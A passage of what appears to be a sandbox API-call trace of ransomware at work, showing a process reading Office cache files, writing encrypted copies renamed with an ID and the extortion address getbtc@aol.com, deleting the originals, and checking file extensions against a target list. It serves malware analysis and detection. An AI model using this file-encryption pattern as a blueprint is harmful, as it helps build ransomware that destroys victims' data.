hFile=0x1ec, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.523] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.523] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.529] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.529] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.531] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0047.531] CloseHandle (hObject=0x1ec) returned 1 [0047.532] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0047.532] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0047.532] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0047.532] lstrlenW (lpString=".doc") returned 4 [0047.532] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.532] lstrlenW (lpString=".docx") returned 5 [0047.532] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0047.532] lstrlenW (lpString=".pdf") returned 4 [0047.532] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.532] lstrlenW (lpString=".xls") returned 4 [0047.532] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.532] lstrlenW (lpString=".xlsx") returned 5 [0047.532] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0047.532] lstrlenW (lpString=".ppt") returned 4 [0047.532] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.532] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0047.532] lstrlenW (lpString=".zip") returned 4 [0047.532] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.532] lstrlenW (lpString=".rar") returned 4 [0047.532] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.532] lstrlenW (lpString=".bz2") returned 4 [0047.532] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.532] lstrlenW (lpString=".7z") returned 3 [0047.532] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.532] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0047.532] lstrlenW (lpString=".dbf") returned 4 [0047.532] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.532] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0047.533] lstrlenW (lpString=".1cd") returned 4 [0047.533] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0047.533] lstrlenW (lpString=".jpg") returned 4 [0047.533] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0047.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0047.533] lstrlenW (lpString=".doc") returned 4 [0047.533] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.533] lstrlenW (lpString=".docx") returned 5 [0047.533] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0047.533] lstrlenW (lpString=".pdf") returned 4 [0047.533] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.533] lstrlenW (lpString=".xls") returned 4 [0047.533] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.533] lstrlenW (lpString=".xlsx") returned 5 [0047.533] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0047.533] lstrlenW (lpString=".ppt") returned 4 [0047.533] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0047.533] lstrlenW (lpString=".zip") returned 4 [0047.533] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.533] lstrlenW (lpString=".rar") returned 4 [0047.533] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.533] lstrlenW (lpString=".bz2") returned 4 [0047.533] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.533] lstrlenW (lpString=".7z") returned 3 [0047.533] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0047.533] lstrlenW (lpString=".dbf") returned 4 [0047.533] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0047.533] lstrlenW (lpString=".1cd") returned 4 [0047.533] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.533] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0047.534] lstrlenW (lpString=".jpg") returned 4 [0047.534] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.534] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0047.534] lstrlenW (lpString="dwintl20.dll") returned 12 [0047.534] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.534] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=107912) returned 1 [0047.534] CloseHandle (hObject=0x1ec) returned 1 [0047.534] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0047.534] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.534] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.535] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.535] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.535] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.731] GetLastError () returned 0x0 [0047.731] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x1a588, lpOverlapped=0x0) returned 1 [0047.735] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0047.738] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.738] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.738] SetEndOfFile (hFile=0x1a8) returned 1 [0047.738] CloseHandle (hObject=0x1a8) returned 1 [0047.738] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.738] SetEndOfFile (hFile=0x1ec) returned 1 [0047.740] CloseHandle (hObject=0x1ec) returned 1 [0047.740] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0047.740] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0047.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0047.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0047.740] lstrlenW (lpString=".doc") returned 4 [0047.740] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.740] lstrlenW (lpString=".docx") returned 5 [0047.740] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0047.740] lstrlenW (lpString=".pdf") returned 4 [0047.740] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.741] lstrlenW (lpString=".xls") returned 4 [0047.741] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.741] lstrlenW (lpString=".xlsx") returned 5 [0047.741] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0047.741] lstrlenW (lpString=".ppt") returned 4 [0047.741] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0047.741] lstrlenW (lpString=".zip") returned 4 [0047.741] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.741] lstrlenW (lpString=".rar") returned 4 [0047.741] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.741] lstrlenW (lpString=".bz2") returned 4 [0047.741] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.741] lstrlenW (lpString=".7z") returned 3 [0047.741] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0047.741] lstrlenW (lpString=".dbf") returned 4 [0047.741] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0047.741] lstrlenW (lpString=".1cd") returned 4 [0047.741] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0047.741] lstrlenW (lpString=".jpg") returned 4 [0047.741] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0047.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0047.741] lstrlenW (lpString=".doc") returned 4 [0047.741] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.741] lstrlenW (lpString=".docx") returned 5 [0047.741] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0047.741] lstrlenW (lpString=".pdf") returned 4 [0047.741] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.741] lstrlenW (lpString=".xls") returned 4 [0047.741] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.741] lstrlenW (lpString=".xlsx") returned 5 [0047.742] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0047.742] lstrlenW (lpString=".ppt") returned 4 [0047.742] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0047.742] lstrlenW (lpString=".zip") returned 4 [0047.742] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.742] lstrlenW (lpString=".rar") returned 4 [0047.742] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.742] lstrlenW (lpString=".bz2") returned 4 [0047.742] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.742] lstrlenW (lpString=".7z") returned 3 [0047.742] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0047.742] lstrlenW (lpString=".dbf") returned 4 [0047.742] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0047.742] lstrlenW (lpString=".1cd") returned 4 [0047.742] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0047.742] lstrlenW (lpString=".jpg") returned 4 [0047.742] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.742] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0047.742] lstrlenW (lpString="dwdcw20.dll") returned 11 [0047.742] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.742] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=526176) returned 1 [0047.743] CloseHandle (hObject=0x1ec) returned 1 [0047.743] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0047.743] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.743] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.743] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.743] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.743] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.743] GetLastError () returned 0x0 [0047.743] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x80760, lpOverlapped=0x0) returned 1 [0047.755] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0x80770, lpOverlapped=0x0) returned 1 [0047.767] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.767] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.767] SetEndOfFile (hFile=0x1a8) returned 1 [0047.767] CloseHandle (hObject=0x1a8) returned 1 [0047.767] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.768] SetEndOfFile (hFile=0x1ec) returned 1 [0047.772] CloseHandle (hObject=0x1ec) returned 1 [0047.772] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0047.772] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0047.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0047.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0047.773] lstrlenW (lpString=".doc") returned 4 [0047.773] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.773] lstrlenW (lpString=".docx") returned 5 [0047.773] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0047.773] lstrlenW (lpString=".pdf") returned 4 [0047.773] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.773] lstrlenW (lpString=".xls") returned 4 [0047.773] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.773] lstrlenW (lpString=".xlsx") returned 5 [0047.773] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0047.773] lstrlenW (lpString=".ppt") returned 4 [0047.773] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0047.773] lstrlenW (lpString=".zip") returned 4 [0047.773] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.773] lstrlenW (lpString=".rar") returned 4 [0047.773] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.773] lstrlenW (lpString=".bz2") returned 4 [0047.773] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.773] lstrlenW (lpString=".7z") returned 3 [0047.773] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0047.773] lstrlenW (lpString=".dbf") returned 4 [0047.773] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0047.773] lstrlenW (lpString=".1cd") returned 4 [0047.773] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.773] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0047.773] lstrlenW (lpString=".jpg") returned 4 [0047.774] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0047.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0047.774] lstrlenW (lpString=".doc") returned 4 [0047.774] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.774] lstrlenW (lpString=".docx") returned 5 [0047.774] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0047.774] lstrlenW (lpString=".pdf") returned 4 [0047.774] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.774] lstrlenW (lpString=".xls") returned 4 [0047.774] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.774] lstrlenW (lpString=".xlsx") returned 5 [0047.774] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0047.774] lstrlenW (lpString=".ppt") returned 4 [0047.774] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0047.774] lstrlenW (lpString=".zip") returned 4 [0047.774] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.774] lstrlenW (lpString=".rar") returned 4 [0047.774] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.774] lstrlenW (lpString=".bz2") returned 4 [0047.774] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.774] lstrlenW (lpString=".7z") returned 3 [0047.774] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0047.774] lstrlenW (lpString=".dbf") returned 4 [0047.774] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0047.774] lstrlenW (lpString=".1cd") returned 4 [0047.774] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.774] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0047.774] lstrlenW (lpString=".jpg") returned 4 [0047.774] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.775] lstrcmpiW (lpString1=".exe", lpString2=".Q1G") returned -1 [0047.775] lstrlenW (lpString="dwtrig20.exe") returned 12 [0047.775] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.775] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=519584) returned 1 [0047.775] CloseHandle (hObject=0x1ec) returned 1 [0047.775] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0047.775] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.775] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.775] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.775] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.775] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all 